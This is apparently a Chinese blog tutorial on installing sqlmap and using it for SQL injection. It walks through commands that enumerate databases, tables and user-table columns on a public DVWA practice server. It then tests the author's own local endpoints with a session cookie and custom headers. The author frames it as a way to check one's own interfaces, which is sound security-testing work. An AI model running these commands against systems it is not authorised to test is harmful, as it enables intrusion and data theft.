1.sqlmap简介
最白话的介绍就是sqlmap是一个工具,一个用来做sql注入攻击的工具
2.windows安装python2
这个sqlmap需要python2才可以正常执行,注意python3不行哦,如果你已经安装了python3,本地同时安装python2和python3,需要注意修改其中一个python执行文件的名字,以便在path中添加环境变量的时候,可以正确区分,详细这里不进行赘述,如果不了解,建议自行百度。
3. windows安装sqlmap
3.1 下载压缩包
在sqlmap的网站上下载对应的压缩文件
http://sqlmap.org/
3.2 解压文件
解压到任意文件夹皆可
解压以后大概是这个样子的
3.3 启动一个命令行,执行sqlmap.py
如果出现这个界面,表示一切正常
4. 测试sqlmap功能
4.1 使用DVWA测试网站
4.1.1 关于dvwa
这个网站有sql漏洞,专门拿来测试用,不知道是哪位好心人搞出来的
网址是:http://43.247.91.228:81/login.php
登陆的用户名密码是:admin/password
4.1.2 操作
首先登陆成功以后三步走,拿到需要的url
拿到url以后,就可以使用这个url来注入了
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#"
出现如下结果,则表示sqlmap检测到有可以注入的地方,
ps:如果没有检测到可以注入的地方,会显示如下
既然检测到有可以注入的地方,现在我们就来通过这个注入来获取一些数据库的信息
获取数据库
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
可以看到执行以后拿到了数据库的信息
再进一步,获取数据库中表的信息
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables
可以看到,拿到了dvwa这个库中的所有表的名字
再进一步,获取表中的字段信息
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --columns
可以看到,拿到了表中的所有字段
4.2 使用本地网站
4.2.1 本地网站是本地的项目,现在用本地的项目跑起来来测试sqlmap
主要测试三个url:
http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'
http://localhost:9099/record/user/2019-03-09
127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684
4.2.2 操作--url1
url1:http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3',这是一个post请求,nsrsbh是所需要的参数
执行:
python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --method=POST
可以看到,没有访问到正确的连接,而是被重定向到了登陆的login页面,这是因为这个网站需要登陆,没有登陆的情况访问链接就会被重定向到登陆页面,所以在这里现在浏览器中登陆,然后拿到浏览器的cookie,让sqlmap携带着cookie再去攻击
拿到浏览器的cookie
执行(携带cookie):
python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=POST
执行结果:可以看到,并没有找到可以注入的地方
观察这个网站的日志,也可以看到,这个接口被调用很多次,都是sqlmap自动调用的,它在尝试寻找可以注入的地方
4.2.3 操作--url2
url2:http://localhost:9099/record/user/2019-03-09,这是一个get请求,2019-03-09是restful风格的参数
同样携带cookie执行:
python2 sqlmap.py -u "http://localhost:9099/record/user/2019-03-09" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=GET
执行结果,没有发现可以注入的地方
查看网站后台,接口同样被调用多次
4.2.3 操作--url3
url3:127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684,这也是一个get请求,但是不同的是,这个接口不需要cookie就可以访问,但是需要携带正确的header才可以执行
携带header执行:
python2 sqlmap.py -u "127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684" --method=GET --headers="type:pwd\nchannelPwd:f1e7e7f187f84cdfb4784481ed01abd5\nchannelId:FDDX_PWD"
执行结果,没有找到可以注入的地方
查看后台,接口同样被调用多次
5. 总结
简单的使用就是这样,需要一个url,有的可能需要携带cookie,有的可能需要携带header,
如果找到了注入点,就可以拿到一些数据信息,但是现在的网站通常也比较难找到可以注入的url。
可以通过这种方式来检测自己写的接口是否有被sql注入的风险
关于sqlmap的命令还有更深入的,可以通过-h或者--help来查看更多的指令操作,比如不想每次执行语句的时候都要手动确认一些选择项,可以通过--batch指令,让sqlmap自己去决定。